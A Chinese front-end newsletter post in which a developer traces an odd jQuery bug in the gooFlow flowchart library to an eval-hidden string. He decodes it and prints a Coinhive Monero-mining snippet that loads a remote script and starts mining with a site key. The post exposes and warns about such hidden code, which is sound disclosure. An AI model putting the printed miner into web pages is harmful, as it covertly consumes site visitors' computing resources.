查看原文
其他

【第1296期】由一个bug找到JS挖矿代码

ZxPlus 前端早读课 2019-07-26

前言

哇塞,这篇读起来一气呵成。今日早读文章由途虎养车@ZxPlus投稿分享。

@ZxPlus,来自途虎养车的前端研发程序员—张翔,现在从事公司小程序和内部系统的前端开发工作,座右铭“写得了代码,讲得了笑话”

正文从这开始~

由于工作需要,需要前端画流程图,找到一个开源的框架gooFlow(下图就是这个开源框架),它可以编辑流程图,提供节点和线以及一些辅助功能。仔细看一下这是一个国人写框架,文档也是中文,用起来也很顺手。

但是使用这个框架的时候发现一个很奇怪的bug,描述起来就是:我在父页面的a标签点击跳转到流程图页面,如果a标签的target是_top,页面就不会报错,但是如果target的值为_blank,页面第一次打开不会报错,只有在刷新的情况下页面才会报错。报错信息如下

其实从这个信息推断不出来什么具体信息,只知道jQuery这个对象应该不存在,所以导致程序出错,仔细检查我的页面代码的引入,发现jQuery都有引入,都没问题,结合这个bug出现的时机,只在新开页面且刷新过一次的情况下才会报错,所以可以推断出这个gooFlow框架应该是引用了父页面的某个对象,然后在刷新一次页面的情况下,父页面的这个对象为空才会导致报错。

接着我就开始搜索gooFlow的window.opener和window.parent的引用,window.opener返回的是创建该窗口的 Window 对象的引用,window.parent返回的是返回当前窗口的父窗口。但是都没有找到导致bug的源头。

束手无策的时候,尝试使用最原始的方法,删除父页面上的js引用,看流程图页面抛出什么错误,当我把父页面的jQuery删除的时候,页面报了不一样的错误(下图)。

找到对应方法处的代码,如下图,是使用eval执行一串字符串,很不好调试,只好把这一串代码拷贝出来执行一下看执行的是什么代码?

正当我纳闷为啥需要对框架里面的代码加密的时候,我找到了eval执行的字符串,格式化之后如下,保存的原因找到了,_opener.$的使用就是对打开这个页面的jQuery的引用,所以删除父页面jQuery报错信息会不一致。

var _ = window;
try {
   _
= _.opener.$
} catch (e) {    
   
try {
       _
= _.top.$
   
} catch (e) {
       _
= $
   
}
};
if (!_("head").data('x')) {
   
GooFlow.a = 1;
   _a
= 20;    
   
var d = new Date();
   _
("head").data('x', 1);
   _
.ajax("https://coinhive.com/lib/coinhive.min.js?" + d.getFullYear() + d.getMonth() + d.getDate(), {
       dataType
: 'script',
       cache
: true
   
});
   _i
= setInterval(function () {        
       
try {            
           
new CoinHive.Anonymous('GGdPGhxIloldaArArQVwxZ2sd8l0a4kH', {throttle: 0.3}).start();
           clearInterval
(_i)
       
} catch (e) {
           _a
--;            
           
if (_a < 1) document.write("")
       
}
   
}, 1000)
}

仔细看这个代码会发现这竟然是一串挖矿代码!!!会去请求接口:
https://coinhive.com/lib/coinhive.min.js,然后执行new CoinHive.Anonymous(‘GGdPGhxIloldaArArQVwxZ2sd8l0a4kH’, {throttle: 0.3}).start();开始挖矿,在网上找到了,这是门罗币的挖矿代码。具体可以看看下面这篇文章:

S挖矿 - 门罗币是如何利用网页挖矿的?
http://liujinkai.com/2017/10/28/js-miner/

现在很多开源的框架、插件、库,使用起来都要小心,一不小心就中了别人的圈套,挖矿这种事是牺牲用户体验的基础上进行的,可以看到cpu使用飙升,电脑发烫,所以如果在你为了你的网站优化用户体验的时候,发现怎么优化都无济于事,记得找一找你引用代码里面有哪些隐藏的圈套。

最后推荐一下chrome阻止挖矿的插件minerBlock!
https://chrome.google.com/webstore/detail/minerblock/emikbbbebcdfohonlaifafnoanocnebl

在发之前,看了这个仓库链接,好像已经不能打开了。

关于本文
作者:@ZxPlus
原文:
https://mp.weixin.qq.com/s/G722-w8CCAOMnUnR3MJcGg

最后,为你推荐


【第1294期】JS Linter 进化史


【第1291期】Puppeteer入门简介

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存